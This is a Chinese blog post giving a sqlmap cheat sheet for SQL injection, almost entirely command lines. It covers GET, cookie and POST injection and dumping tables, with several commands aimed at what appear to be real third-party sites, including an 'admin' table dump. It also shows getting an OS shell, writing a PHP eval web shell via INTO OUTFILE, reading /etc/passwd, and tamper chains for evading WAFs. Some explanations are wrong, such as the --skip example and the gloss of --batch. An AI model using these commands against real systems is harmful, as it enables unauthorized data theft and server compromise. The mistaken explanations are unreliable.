我喜欢SEO、网络营销及建站,希望与志同道合的您
建立合作或相互学习关系 QQ:10343829

sqlmap 简单使用命令

1. 全面检测注入

第一部分:检测注入
1. sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1"  
//默认使用level1检测全部数据库类型

2. sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" –dbms mysql
//指定数据库类型为mysql

第二部分:注入成功后,获取数据库基本信息

首先判断是否是dba权限: sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" --is-dba
1. 查询有哪些数据库 
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" –-dbs
2. 网站当前用的什么数据库 
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" --current-db
3. 查询数据库中有哪些表
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" --tables -D 数据库
4. 查询表中有哪些字段
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" --columns -T 表名 -D 数据库
5.dump出来数据
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" -T 表名 -D 数据库 --dump C id,user,pwd
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" -T 表名 -D 数据库 --dump-all 整个表
第三部分:access 注入  

sqlmap -u "http://www.comresearch.org/pages.php?from=pert&id=47"     //全面检测信息 
sqlmap.py -u "http://www.comresearch.org/pages.php?from=pert&id=47" --tables   //获取有哪些表      
sqlmap.py -u "http://www.cnlianyi.com/news-show.asp?id=192" -T admin --columns   //获取admin表的列        
sqlmap -u "http://www.eiffel1887.com/cht/shopping-help.asp?ID=14" -T tb_member -C "id,data" -dump  //获取数据

2. 当程序有防get注入的时候,可以使用cookie注入

sqlmap -u "http://www.xxxxxx.com/Newsshow.asp" –cookie "id=11" –level 2(只有level达到2才会检测cookie)
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp" --cookie "id=11" -level 2 --tables  //猜表名

3. 从post数据包中注入

方法一: Forms 方法
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms   // 判断有没有post漏洞
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms --dbs //查找数据库
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms --current-db //查看当前数据库
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms -D 数据库名 --tables    //查表名
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms -D 数据库名 -T 表名 --columns   //查找列名
sqlmap.py -u "http://www.xxxxxx.com/Newsshow.asp" --forms -D 数据库名 -T 表名 -C 字段1,字段2 --dump  //爆数据

方法二:BurpSuit 抓包 扫包
sqlmap -r '/home/1.txt'   //扫包
sqlmap -r '/home/1.txt' --dbs   // 查看全部数据库
sqlmap -r '/home/1.txt' --current-db  //查看当前数据库
sqlmap -r '/home/1.txt' -D 数据库名 --tables  // 查表名
sqlmap -r '/home/1.txt' -D 数据库名 -T 表名 --columns //查找列名
sqlmap -r '/home/1.txt' -D 数据库名 -T 表名 -C 字段1,字段2 --dump     //爆数据

补充: 指定参数注入
post包中有多个参数,例如 asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666
post中提交了5个参数,我们怀疑sex和name有注入点或者扫描软件扫到这两个是注入点,只想扫这两个参数,而plsqlmap默认是挨个测试注入,
而测试id和uid和phone就是浪费时间了那么我们只扫这两个的话也是有办法的,使用 -p "sex,name"   指定多个参数时用双引号包起来,
并以逗号分隔. 
sqlmap -r '/home/1.txt' -p "sex,name" --dbs   // 只扫sex和id两个参数
sqlmap -r '/home/1.txt' -p name --dbs         // 只扫name这个参数

1. 这个指定参数注入也可以应用在Get类型的注入中
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666" -p "sex,name"

2. 设置--skip跳过指定参数扫描,和-p作用相反,它用来跳过需要扫描的参数
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666" -p "id,uid,phone"
// 跳过id,uid,phone 这三项 那么就只检测剩下的 sex和name了,和上面的作用其实是一样的。

3. 不对包含具体内容参数的请求进行探测 --param-exclude
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666" 
--param-exclude "token,session"  // 如果参数内容包含了token和session则不予注入测试

4. sqlmap设置url注入位置
sqlmap -u "http://www.xxxxxx.com/user/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666" 
设注入点在url路径中,而不是参数,例如/user/路径中存在注入,那么只能手工标记:
sqlmap -u "http://www.xxxxxx.com/user*/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666"
5. sqlmap设置任意注入位置
 怀疑哪里有注入点,就在哪里加入 * 即可。例如:
 sqlmap -u "http://www.xxxxxx.com/user*/Newsshow.asp?id=3&uid=5&sex=1&name=yunbo&phone=15523695666" 
 --cookie="uname=admin*" --banner

方法三: 指定表单注入 
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" // 检测注入
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" --dbs // 获取全部数据库 
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" --current-db // 检测注入获取当前数据库 
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" -D 数据库名 --tables //查表名 
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" -D 数据库名 -T 表名 --columns //查列名 
sqlmap -u http://www.xxxxxx.com/Newsshow.asp --data "userid=aaa&passwd=bbbb" -D 数据库名 -T 表名 -C 字段1,字段2 --dump  

4. –os-shell与读取与写入文件

使用该功能需要满足两个条件:
1. 当前注入点为dba 权限
2. 知道物理路径(目录可写)。
(1.)--os-shell 如何使用(如果失败可能是目录没有写权限)
首先判断是否是dba权限: --os-shell
dba权限判断方法: --is-dba ,这里说一下,不要只看是root权限才觉得是dba权限,有的用户也有dba权限,所以要用dba来看下是不是
dba权限,而不是简单的用user()看看是不是root用户,这样容易漏。
sqlmap -u "http://www.xxxxxx.com/Newsshow.asp?id=1" --is-dba  //判断是否是dba权限,返还flase不是,返回true是
sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell  //执行改命令即可获取cmdshell执行命令
(2.)读写文件操作
1.>手工文件读取使用load_file()函数:
   union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3
2.>手工文件写入使用into outfile函数:
 union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'
3.> sqlmap读取文件,--file-read用法用于读取本地文件
    sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd 
4.> sqlmap 写入文件,file-write写入文件到web
    sqlmap -u http://xxx/x?id=1 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

5. tamper 使用方法

sqlmap.py -u "http://www.xxx.cn/news.php?pid=13" -v 3 --tamper 使用tamper的话必须是3及其以上的等级
sqlmap.py -u "http://www.xxx.cn/news.php?pid=13" -v 3 --batch --tamper "base64encode.py" 使用tamper的话必须是3及其以上的等级
sqlmap.py -u "www.dinksfeathershop.com/shop.asp?mode=detail&id=90" --dbs -v 3 --batch --tamper

使用命令格式:sqlmap.py -u "http://www.xxx.cn/news.php?pid=13" 常规命令 + -v 3 --batch --tamper
有防火墙的情况下可以选用一个脚本使用,--tamper使用脚本,一般搭配--batch 使用,--batch的意思是要求不对目标写入

关于temper个人之前的看法是必须手工判断出网站禁用了哪些函数,或者做了哪些限制,然后针对性的使用temper带人命令,可是自从看了 https://www.cnblogs.com/r00tuser/p/7252796.html 这篇文章之后我也觉得我的路子错了,其实真是无脑堆叠tamper,只要能够过就行了,大不了多等一会,下面命令也摘抄自该文章

(1.)普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,
charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,
percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

(2.)数据库为MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,
nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,
space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

(3.)数据库为MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,
halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,
multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,
space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,
versionedmorekeywords,xforwardedfor

转载请著名来源:天天小站 » sqlmap 简单使用命令

分享到:更多 ()